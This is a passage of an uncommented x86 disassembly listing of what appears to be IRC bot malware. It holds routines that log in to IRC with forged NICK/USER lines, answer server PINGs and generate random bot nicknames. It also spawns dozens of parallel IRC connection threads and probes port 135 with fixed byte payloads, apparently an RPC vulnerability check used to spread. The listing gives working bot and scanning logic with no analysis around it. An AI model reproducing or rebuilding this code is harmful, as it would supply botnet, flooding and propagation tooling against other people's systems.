		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA54
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_417B25
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA14
		cmp	eax, esi
		jnz	short loc_417B0A
		push	[ebp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jz	short loc_417B25
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417B0A:				; CODE XREF: sub_417AA9+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, esi
		jnz	short loc_417B29
		push	edi
		call	dword_4CBA6C


loc_417B25:				; CODE XREF: sub_417AA9+1Bj
					; sub_417AA9+58j
		mov	eax, esi
		jmp	short loc_417B2B
; ---------------------------------------------------------------------------


loc_417B29:				; CODE XREF: sub_417AA9+73j
		mov	eax, edi


loc_417B2B:				; CODE XREF: sub_417AA9+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417AA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B2F	proc near		; CODE XREF: sub_401ACD+324Cp
					; sub_401ACD+32B6p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A080 ; "\n"
		push	edi
		call	sub_41C8A0
		pop	ecx
		mov	esi, offset dword_4D4A5C
		pop	ecx


loc_417B47:				; CODE XREF: sub_417B2F+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_417B65
		cmp	dword ptr [esi], 0
		jbe	short loc_417B65
		push	0
		push	edi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CBA24


loc_417B65:				; CODE XREF: sub_417B2F+1Cj
					; sub_417B2F+21j
		add	esi, 210h
		cmp	esi, offset dword_4DB17C
		jl	short loc_417B47
		pop	edi
		pop	esi
		retn
sub_417B2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B76	proc near		; CODE XREF: sub_417C61+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CDC0 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41CAD4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_417B9B:				; CODE XREF: sub_417B76+35j
		push	esi
		push	0
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_417B9B
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_417BC3
		cmp	esi, edi
		jnz	short loc_417BC3
		push	1
		pop	eax
		jmp	loc_417C5C
; ---------------------------------------------------------------------------


loc_417BC3:				; CODE XREF: sub_417B76+3Fj
					; sub_417B76+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417BDE
		push	offset dword_43932C
		jmp	short loc_417C2C
; ---------------------------------------------------------------------------


loc_417BDE:				; CODE XREF: sub_417B76+5Fj
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417BFF
		push	esi
		push	offset dword_439328
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A


loc_417BFF:				; CODE XREF: sub_417B76+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417E84
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_43931C


loc_417C2C:				; CODE XREF: sub_417B76+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24


loc_417C5A:				; CODE XREF: sub_417B76+87j
		xor	eax, eax


loc_417C5C:				; CODE XREF: sub_417B76+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C61	proc near		; DATA XREF: sub_417E06+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4A64[esi]
		mov	dword_4D4A58[esi], edi
		push	dword_4D4C64[esi]
		push	eax
		call	sub_417AA9
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D4A5C[esi], eax
		jb	loc_417DE6
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417E84
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D4A5C[esi]
		call	dword_4CBA24
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch


loc_417D3D:				; CODE XREF: sub_417C61+111j
					; sub_417C61+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D4A5C[esi]
		call	dword_4CB9EC
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417DE6
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417D3D


loc_417D74:				; CODE XREF: sub_417C61+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_417D9B
		cmp	al, 0Ah
		jz	short loc_417D9B
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_417D9B
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417DD5
; ---------------------------------------------------------------------------


loc_417D9B:				; CODE XREF: sub_417C61+11Cj
					; sub_417C61+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417DD5
		push	dword_4D4A5C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417B76
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417DE6
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417DD5:				; CODE XREF: sub_417C61+138j
					; sub_417C61+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_417D74
		jmp	loc_417D3D
; ---------------------------------------------------------------------------


loc_417DE6:				; CODE XREF: sub_417C61+40j
					; sub_417C61+107j ...
		mov	dword_4D4A58[esi], ebx
		mov	esi, dword_4D4A5C[esi]
		cmp	esi, ebx
		jbe	short loc_417DFD
		push	esi
		call	dword_4CBA6C


loc_417DFD:				; CODE XREF: sub_417C61+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_417C61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E06	proc near		; CODE XREF: sub_401ACD+319Bp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417E7F


loc_417E18:				; CODE XREF: sub_417E06+77j
		xor	edi, edi
		mov	eax, offset dword_4D4A58


loc_417E1F:				; CODE XREF: sub_417E06+28j
		cmp	[eax], ebx
		jz	short loc_417E30
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DB178
		jl	short loc_417E1F


loc_417E30:				; CODE XREF: sub_417E06+1Bj
		cmp	edi, 31h
		jz	short loc_417E7F
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4A64[esi]
		push	eax
		call	sub_41C890
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4C64[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4A58[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_417C61
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417E18


loc_417E7F:				; CODE XREF: sub_417E06+10j
					; sub_417E06+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E84	proc near		; CODE XREF: sub_401ACD+36FDp
					; sub_401ACD+3747p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		call	sub_41C2C2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276D8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_417ECE
		call	sub_41C2C2
		call	sub_41C2C2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_438A68[edx*4]
		jmp	short loc_417EE7
; ---------------------------------------------------------------------------


loc_417ECE:				; CODE XREF: sub_417E84+2Fj
		call	sub_41C2C2
		call	sub_41C2C2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_438768[edx*4]


loc_417EE7:				; CODE XREF: sub_417E84+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C890
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41D174
		mov	ebx, eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417F5A
		cmp	esi, 3
		jnz	short loc_417F51
		cmp	ebx, 1
		jz	short loc_417F5A


loc_417F51:				; CODE XREF: sub_417E84+C6j
		cmp	eax, 1
		jnz	loc_418014


loc_417F5A:				; CODE XREF: sub_417E84+C1j
					; sub_417E84+CBj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41D174
		push	off_438A68[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41C890
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41C990
		add	esp, 10h
		test	eax, eax
		jnz	short loc_418001
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418001
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_418001
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_418001:				; CODE XREF: sub_417E84+111j
					; sub_417E84+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41CBC0
		add	esp, 0Ch


loc_418014:				; CODE XREF: sub_417E84+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41B9C0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41DEE8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41827C
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_418173
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418082
		cmp	eax, 1
		jnz	loc_418173


loc_418082:				; CODE XREF: sub_417E84+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_4180C4
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_4180E0
; ---------------------------------------------------------------------------


loc_4180C4:				; CODE XREF: sub_417E84+207j
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_4180E0:				; CODE XREF: sub_417E84+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B0
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418109
		cmp	eax, ebx
		jnz	short loc_418173


loc_418109:				; CODE XREF: sub_417E84+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_41814E
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_41816C
; ---------------------------------------------------------------------------


loc_41814E:				; CODE XREF: sub_417E84+28Fj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_41816C:				; CODE XREF: sub_417E84+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_418173:				; CODE XREF: sub_417E84+1C9j
					; sub_417E84+1F8j ...
		cmp	esi, 6
		jge	loc_4181FC
		cmp	esi, 5
		jge	short loc_418194
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		jmp	short loc_4181B2
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_417E84+2FBj
		call	sub_41C2C2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8


loc_4181B2:				; CODE XREF: sub_417E84+30Ej
		call	sub_41D174
		test	eax, eax
		jnz	short loc_4181D5
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		jmp	short loc_4181F2
; ---------------------------------------------------------------------------


loc_4181D5:				; CODE XREF: sub_417E84+335j
		cmp	eax, 1
		jnz	short loc_4181FC
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h


loc_4181F2:				; CODE XREF: sub_417E84+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_4181FC:				; CODE XREF: sub_417E84+2F2j
					; sub_417E84+354j
		cmp	[ebp+var_C], 2
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A0
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		cmp	[ebp+var_C], eax
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_427698
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_41827C:				; CODE XREF: sub_417E84+1B1j
					; sub_417E84+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418295	proc near		; CODE XREF: sub_4182CD+125p
					; sub_4182CD+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_4182C3


loc_4182A6:				; CODE XREF: sub_418295+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41DF40
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4182C9
		inc	esi
		cmp	esi, edi
		jl	short loc_4182A6


loc_4182C3:				; CODE XREF: sub_418295+Fj
		xor	al, al


loc_4182C5:				; CODE XREF: sub_418295+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4182C9:				; CODE XREF: sub_418295+27j
		mov	al, 1
		jmp	short loc_4182C5
sub_418295	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182CD	proc near		; CODE XREF: ___:0040DFD7p
					; ___:0040E0C0p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_41C500
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_41830E
		dec	eax
		jz	short loc_4182EC
		dec	eax


loc_4182E6:				; CODE XREF: sub_4182CD+57j
		xor	eax, eax


loc_4182E8:				; CODE XREF: sub_4182CD+3Fj
					; sub_4182CD+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4182EC:				; CODE XREF: sub_4182CD+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_4CBA14
		push	eax
		call	sub_40C34B
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_4182E8
; ---------------------------------------------------------------------------


loc_41830E:				; CODE XREF: sub_4182CD+13j
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_4182E6
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, edi
		jz	loc_41842A
		push	ebx
		push	48h
		push	offset dword_439374
		push	esi
		call	dword_4CBA24
		cmp	eax, edi
		jz	loc_41842A
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9EC
		cmp	eax, edi
		jz	loc_41842A
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_41842A
		push	ebx
		push	18h
		push	offset dword_4393C0
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	eax, edi
		jz	short loc_41842A
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9EC
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41842A
		cmp	[ebp+var_200E],	2
		jnz	short loc_41842A
		push	10h
		push	offset loc_4393DC
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		test	al, al
		jz	short loc_41840A
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_41842A
; ---------------------------------------------------------------------------


loc_41840A:				; CODE XREF: sub_4182CD+12Fj
		push	10h
		push	offset dword_4393F0
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_41842A:				; CODE XREF: sub_4182CD+9Bj
					; sub_4182CD+B2j ...
		push	[ebp+arg_4]
		call	dword_4CBA6C
		mov	eax, ebx
		pop	ebx
		jmp	loc_4182E8
sub_4182CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41843B	proc near		; CODE XREF: sub_401ACD+BD0p
					; sub_401ACD+C0Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_4184C6
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_4184C6
		cmp	[ebp+arg_8], esi
		jz	short loc_4184C6
		cmp	byte ptr [eax],	0
		jz	short loc_4184C6
		push	ebx
		push	edi
		call	sub_426465
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_4184C1
		push	[ebp+arg_4]
		push	edi
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4184BA
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41BFD0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41B9C0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41CBC0
		push	[ebp+arg_4]
		call	sub_41B9C0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41C8A0
		push	ebx
		push	edi
		call	sub_41C890
		add	esp, 30h
		mov	esi, edi


loc_4184BA:				; CODE XREF: sub_41843B+3Cj
		push	ebx
		call	sub_41BA91
		pop	ecx


loc_4184C1:				; CODE XREF: sub_41843B+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_4184C8
; ---------------------------------------------------------------------------


loc_4184C6:				; CODE XREF: sub_41843B+Cj
					; sub_41843B+13j ...
		xor	eax, eax


loc_4184C8:				; CODE XREF: sub_41843B+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41843B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184CC	proc near		; CODE XREF: sub_401955+E9p
					; ___:00410CF1p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41BF70
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41B9C0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_418502
		or	eax, 0FFFFFFFFh
		jmp	short loc_418575
; ---------------------------------------------------------------------------


loc_418502:				; CODE XREF: sub_4184CC+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_418524


loc_41850E:				; CODE XREF: sub_4184CC+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_41851B
		cmp	dl, 0Dh
		jnz	short loc_41851F


loc_41851B:				; CODE XREF: sub_4184CC+48j
		and	byte ptr [ecx+esi], 0


loc_41851F:				; CODE XREF: sub_4184CC+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_41850E


loc_418524:				; CODE XREF: sub_4184CC+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418555
		lea	edi, [ebp+var_7CC]


loc_418531:				; CODE XREF: sub_4184CC+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418550
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418550
		cmp	ebx, 1F4h
		jge	short loc_418555
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418550:				; CODE XREF: sub_4184CC+69j
					; sub_4184CC+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_418531


loc_418555:				; CODE XREF: sub_4184CC+5Dj
					; sub_4184CC+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418573
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41CD20
		add	esp, 0Ch


loc_418573:				; CODE XREF: sub_4184CC+8Ej
		mov	eax, ebx


loc_418575:				; CODE XREF: sub_4184CC+34j
		pop	esi
		pop	ebx
		leave
